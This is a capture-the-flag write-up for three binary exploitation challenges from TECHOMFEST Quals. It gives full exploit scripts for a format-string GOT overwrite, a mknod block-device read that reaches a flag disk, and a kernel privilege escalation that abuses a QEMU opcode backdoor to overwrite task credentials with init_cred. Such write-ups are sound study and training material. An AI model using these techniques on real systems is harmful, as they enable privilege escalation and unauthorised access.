Page cover image

TECHOMFEST Quals

Team: ぎゅっと。

Rank: 4 / 54

Challenge
Category
Points
Solves

kenari

Binary Exploitation

116 pts

21

ezfs

Binary Exploitation

504 pts

5

ezpu

Binary Exploitation

1000 pts

1

kenari

Description

Author: bakwanmalank

mirip warmup kemarin cuma nambah burung kenari

(maaf ada sedikit kesalahan teknis😔)

connect: nc ctf.ukmpcc.org 11001

Analysis

we're given a single elf binary named kenari with protection as follows

└──╼ [★]$ pwn checksec kenari 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

the program itself is very small, only consisting of the following functions

void vuln(void)
{
  long in_FS_OFFSET;
  char input [72];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  printf("username: ");
  gets(input);
  printf(input);
  putchar(10);
  printf("password: ");
  gets(input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void hitme(void)
{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_58 [72];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("File flag.txt tidak ditemukan");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fgets(local_58,0x40,__stream);
  printf("Flag: %s\n",local_58);
  fclose(__stream);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Exploitation

because the GOT is writeable, its possible to just overwrite the GOT with the win function with a single format string payload

here's the exploit being ran againts the remote server

here's the full exploit script:

#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './kenari'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'ctf.ukmpcc.org', 11001

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    io = initialize()

    payload = fmtstr_payload(6, {elf.got['putchar']: elf.sym['hitme']})
    io.sendlineafter(b':', payload)

    io.interactive()
    
if __name__ == '__main__':
    exploit()

ezfs

Description

Author: rui

this might be the dumbest pwn that i've ever made

connect: nc ctf.ukmpcc.org 10002

Analysis

we're given the following files as attachments

└──╼ [★]$ tree dist
dist
├── alomani.patch
├── bzImage
├── flag.txt
├── rootfs.cpio.gz
└── run.sh

here's the content of the patch file

diff --git a/fs/namei.c b/fs/namei.c
index 4a4a22a08..bb1459989 100644
--- a/fs/namei.c
+++ b/fs/namei.c
@@ -4110,15 +4110,15 @@ EXPORT_SYMBOL(user_path_create);
 int vfs_mknod(struct mnt_idmap *idmap, struct inode *dir,
 	      struct dentry *dentry, umode_t mode, dev_t dev)
 {
-	bool is_whiteout = S_ISCHR(mode) && dev == WHITEOUT_DEV;
+	//bool is_whiteout = S_ISCHR(mode) && dev == WHITEOUT_DEV;
 	int error = may_create(idmap, dir, dentry);
 
 	if (error)
 		return error;
 
-	if ((S_ISCHR(mode) || S_ISBLK(mode)) && !is_whiteout &&
-	    !capable(CAP_MKNOD))
-		return -EPERM;
+	//if ((S_ISCHR(mode) || S_ISBLK(mode)) && !is_whiteout &&
+	//    !capable(CAP_MKNOD))
+	//	return -EPERM;
 
 	if (!dir->i_op->mknod)
 		return -EPERM;

we can get the summary of the patched function from this documentation

and more detail of the implementation from the source code

in summary, the patch removes the security checks upon creating new files, nodes, block devices etc

another relevant information is that the flag is not stored within the filesystem as can be seen from the qemu launch script

run.sh
#!/bin/bash

cd $(dirname $0)
exec timeout --foreground 30 qemu-system-x86_64 \
        -m 64M \
        -cpu qemu64,+smep,+smap \
        -nographic \
        -monitor none \
        -kernel bzImage \
        -initrd rootfs.cpio.gz \
        -no-reboot \
        -drive file=flag.txt,format=raw \
        -append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
        -net user -net nic -device e1000

to further understand about how the flag is loaded/mounted (not sure what the correct word is), we can read the documentation:

-drive option[,option[,option[,...]]]

Define a new drive. This includes creating a block driver node (the backend) as well as a guest device, and is mostly a shortcut for defining the corresponding -blockdev and -device options.

-drive accepts all options that are accepted by -blockdev. In addition, it knows the following options:

[... SNIP]

format=format

Specify which disk format will be used rather than detecting the format. Can be used to specify format=raw to avoid interpreting an untrusted format header.

this means the flag is loaded as a simple, byte-for-byte representation of the disk's data. Since flag.txt is specified with format=raw, QEMU treats the file as a raw block device, allowing the guest kernel to access it as if it were a physical drive.

Exploitation

I'm not an expert in kernel shenanigans (hopefully yet), so I'll hunt for the low hanging fruit by asking chatGPT

and surprisingly it works, here's the exploit being ran againts the remote server

here's the full exploit script:

exp.sh
mknod /tmp/mydevice b 8 0
cat /tmp/mydevice

ezpu

Description

Author: rui

new cpu instruction??? nah man its just backdoor

connect: nc ctf.ukmpcc.org 10001

Analysis

we're given the following files as attachment:

└──╼ [★]$ tree .
.
├── anomali.patch
├── bios
│   ├── bios-256k.bin
│   ├── efi-e1000.rom
│   ├── kvmvapic.bin
│   ├── linuxboot_dma.bin
│   └── vgabios-stdvga.bin
├── bzImage
├── qemu-system-x86_64
├── rootfs.cpio.gz
└── run.sh

here's the content of the patch file

diff --git a/target/i386/tcg/translate.c b/target/i386/tcg/translate.c
index 76a42c679..122947a3e 100644
--- a/target/i386/tcg/translate.c
+++ b/target/i386/tcg/translate.c
@@ -397,6 +397,19 @@ static void gen_update_cc_op(DisasContext *s)
  * [AH, CH, DH, BH], ie "bits 15..8 of register N-4". Return
  * true for this special case, false otherwise.
  */
+static void __attribute__ ((noinline)) some_function(DisasContext *s){
+    TCGLabel *read_cpu = gen_new_label();
+    tcg_gen_movi_tl(s->A0, 0xdeadbeeffeebdaed);
+    tcg_gen_brcond_tl(9, s->A0, cpu_regs[R_R11], read_cpu);
+    tcg_gen_qemu_ld_i64(cpu_regs[R_R12], cpu_regs[R_R13], REG_L_OFFSET, MO_LEUQ);
+    gen_set_label(read_cpu);
+    TCGLabel *write_cpu = gen_new_label();
+    tcg_gen_movi_tl(s->A0, 0x6969696969696969);
+    tcg_gen_brcond_tl(9, s->A0, cpu_regs[R_R11], write_cpu);
+    tcg_gen_qemu_st_i64(cpu_regs[R_R12], cpu_regs[R_R13], REG_W_OFFSET, MO_LEUQ);
+    gen_set_label(write_cpu);
+}
+
 static inline bool byte_reg_is_xH(DisasContext *s, int reg)
 {
     /* Any time the REX prefix is present, byte registers are uniform */
@@ -5512,8 +5525,10 @@ static bool disas_insn(DisasContext *s, CPUState *cpu)
         set_cc_op(s, CC_OP_EFLAGS);
         break;
     case 0x3f: /* aas */
-        if (CODE64(s))
-            goto illegal_op;
+        if (CODE64(s)){
+            some_function(s);
+            break;
+        }
         gen_update_cc_op(s);
         gen_helper_aas(tcg_env);
         set_cc_op(s, CC_OP_EFLAGS);

the well_its_a_backdoor function introduces a custom behavior in QEMU that manipulates the emulated CPU's state based on specific conditions. the patched behavior will trigger when any guest code executes the 0x3f opcode in 64-bit mode (CODE64)

depends on the value of R11 when the instruction is executed, different branching is taken:

  1. R11 == 0x6969696969696969

    executes a memory read operation:

    • Source: R_R13

    • Destination:R_R12

    • Access Mode: MO_LEUQ indicates a 64-bit load in little-endian format

  2. R11 == 0xdeadbeeffeebdaed

    executes a memory write operation:

    • Source: R_R12

    • Destination: R_R13

    • Access Mode: MO_LEUQ indicates a 64-bit store in little-endian format

this essentially means we have whole memory access to write and read, a powerful primitive.

next this is the launch script

#!/bin/bash

cd $(dirname $0)
exec timeout --foreground 300 ./qemu-system-x86_64 \
        -L bios \
	-m 64M \
        -cpu qemu64,+smep,+smap \
        -nographic \
        -monitor none \
        -kernel bzImage \
        -initrd rootfs.cpio.gz \
	-no-reboot \
	-append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic" \
	-net user -net nic -device e1000 \

Exploitation

Defeating KASLR

though we have full access to the kernel address, it would be deemed useless if we don't know any addresses due to the fact that KASLR is enabled.

however KASLR doesn't apply everywhere, quote:

KASLR is nice, but doesn’t apply everywhere. You can manipulate either the IDT (before the cpu_entry_area at 0xfffffe0000000000) or LDT (after [modify_ldt]() at 0xffff880000000000), which are mapped read-only at fixed addresses.

cpu_entry_area specifically will contain addresses to kernel's .text

Privilege Escalation

I initially tried to overwrite modprobe but it fails, as the author would confirm that modprobe is indeed disabled

so we're left with data only privilege escalation. one technique is to overwrite the current of type task_struct's creds to be init_cred (root).

essentially, the kernel stores a global variable init_task of type task_struct which is the starting task that initializes the booting process.

within it, exist the init_cred of the initiating task (which have root privileges) and the next field which forms a linked list upon other creds that will be spawned during the system's lifetime.

we can obtain the those global variable addresses by reading /proc/kallsyms

there's also the comm field, which the name of the running process that the task's own. we can set this value by calling the prctl syscall as follows:

if (prctl(PR_SET_NAME, "PROCESS_NAME_HERE", 0, 0, 0) != 0) {
    panic("prctl");
}

as we have arbitrary read, we will use this as our egg to hunt. as we traverse the list to find our current task, we will compare the value of the comm field of each traversed task to determine if the task belongs to the current process.

next, the tricky part is to find the offset to next as it will be different across systems (depending on the configurations and versions).

I note two ways of doing this

  1. GDB observation and assumptions

this method will be less reliable compared to the latter but worth to note nonetheless. the idea came from kylebot (amazing pwner) that they shared in pwn.college's discord

first, we'll leak the init_task and use the tele command within gdb to inspect its structure

tele &init_task 400

as can be seen, we observed two fields at offset 0x478 and 0x480 that have endless lists of pointers, one of these is the next pointer as hinted by kyle as

(they should be so long that gef does not know they are loops)

at this time, we could also examine the result of the telescope and look for the string swapper. this will be our offset to comm which is 0x730 in this case

init_task is named swapper by default

this method in my opinion is more reliable and would be my go to for future occasions. the idea came from the writeup below

if we want to search for the offset of the tasks field inside the task_struct (which is the pointer to the next task), we can search for references to init_task.tasks and end up looking at the macro for_each_process which is called by clear_tasks_mm_cpumask. The latter calls the first, which references the needed field

I suggest you to read it as it explained it better than I could do, but in essence this what would you need to do

first disassmble clear_tasks_mm_cpumask

/ # cat /proc/kallsyms | grep clear_tasks_mm_cpumask
ffffffffa128ccc0 T __pfx_clear_tasks_mm_cpumask
ffffffffa128ccd0 T clear_tasks_mm_cpumask

pwndbg> x/20i 0xffffffffa128ccd0                                                                                                                                                                                   
   0xffffffffa128ccd0:  nop    WORD PTR [rax]                                                                                                                                                                      
   0xffffffffa128ccd4:  push   rbp                                                                                                                                                                                 
   0xffffffffa128ccd5:  mov    ebp,edi                                                                                                   
   0xffffffffa128ccd7:  push   rbx                                                                                                       
   0xffffffffa128ccd8:  bt     QWORD PTR [rip+0x1c309e8],rbp        # 0xffffffffa2ebd6c8                                                 
   0xffffffffa128cce0:  jb     0xffffffffa128cd43                                                                                        
   0xffffffffa128cce2:  call   0xffffffffa131e8f0                                                                                        
   0xffffffffa128cce7:  mov    rax,QWORD PTR [rip+0x19800ca]        # 0xffffffffa2c0cdb8                                                 
   0xffffffffa128ccee:  lea    rbx,[rax-0x478]                                                                                           
   0xffffffffa128ccf5:  cmp    rax,0xffffffffa2c0cdb8    # <-- [1]                                                                                
   0xffffffffa128ccfb:  je     0xffffffffa128cd3c                                                                                        
   0xffffffffa128ccfd:  mov    rdi,rbx                                                                                                   
   0xffffffffa128cd00:  call   0xffffffffa1407b80                                                                                        
   0xffffffffa128cd05:  test   rax,rax                                                                                                   
   0xffffffffa128cd08:  je     0xffffffffa128cd26                                                                                        
   0xffffffffa128cd0a:  mov    rcx,QWORD PTR [rax+0x4c8]                                                                                 
   0xffffffffa128cd11:  ds btr QWORD PTR [rcx+0x500],rbp                                                                                 
   0xffffffffa128cd1a:  lea    rdi,[rax+0x830]                                                                                           
   0xffffffffa128cd21:  call   0xffffffffa2145630                                                                                        
   0xffffffffa128cd26:  mov    rax,QWORD PTR [rbx+0x478]

look for the instruction which compares rax to some kernel address [1], the compare is actually made between the init_task and its next task. in other words the address of the next of init_task .

this way we can get the offset by subtracting &init_task to the compared value

pwndbg> p/x 0xffffffffa2c0cdb8 - 0xffffffffa2c0c940
$2 = 0x478

which is the same offset we got from the previous method.

Creds offset

examining the task_struct structure definition, it can be seen that the two cred that we need to overwrite (*cred and *real_cred) is very close to comm.

so we'll just have to look for adjacent pointers somewhere close to it, and telescope it to verify that it contains 0x3e8 (UID 1000) for user ctf. in this case, the offset to both cred are 0x718 and 0x720 respectively

finally, last step is to overwrite both of it with init_cred to elevate our privilege to root and spawn a shell.

here's the exploit being ran againts the remote server

here's the full exploit script:

exploit.c
#include "libpwn.c"

#define cpu_entry_area 0xfffffe0000000000
#define TASK_LIST_OFFSET 0x478
#define COMM_OFFSET 0x730

long arb_read(u64 where) {
    __asm__(
        ".intel_syntax noprefix;"

        "mov r11, 0xdeadbeeffeebdaed;"
        "mov r13, %[address];"
        ".byte 0x3f;"
        "mov rax, r12;"

        ".att_syntax;"

        :
        : [address] "r" (where)
    );
}

void arb_write(u64 where, u64 what) {
    __asm__(
        ".intel_syntax noprefix;"

        "mov r11, 0x6969696969696969;"
        "mov r13, %[address];"
        "mov r12, %[value];"
        ".byte 0x3f;" // aas
        
        ".att_syntax"

        :
        : [address] "r" (where), [value] "r" (what)
    );  
}

int main() {
    char comm[16] = {};

    if (prctl(PR_SET_NAME, "ARGONAUT", 0, 0, 0) != 0) {
        panic("prctl");
    }
    
    kbase = arb_read(cpu_entry_area+0x4)-0x1008e00;
    u64 init_task = kbase + 0x1a0c940;
    u64 init_cred = kbase + 0x1a529e0;
    info2("kbase", kbase);
    info2("init_task", init_task);
    info2("init_cred", init_cred);

    u64 comm_num = arb_read(init_task+COMM_OFFSET);
    memcpy(comm, &comm_num, sizeof(comm_num));
    puts(comm);

    u64 current = arb_read(init_task+TASK_LIST_OFFSET)-TASK_LIST_OFFSET;
    int i = 0;
    while(current != 0x0) {
        comm_num = arb_read(current+COMM_OFFSET);
        memcpy(comm, &comm_num, sizeof(comm_num));
        printf("[*] task[%d] [%s]: 0x%lx\n", i, comm, current);

        if (strcmp(comm, "ARGONAUT") == 0) {
            _pause_("Found ARGONAUT task");
            break;
        } 

        current = arb_read(current+TASK_LIST_OFFSET)-TASK_LIST_OFFSET;
        i++;
    }

    arb_write(current+0x718, init_cred);
    arb_write(current+0x720, init_cred);

    spawn_shell();

    _pause_("end of exploit...");
}
libpwn.c

Last updated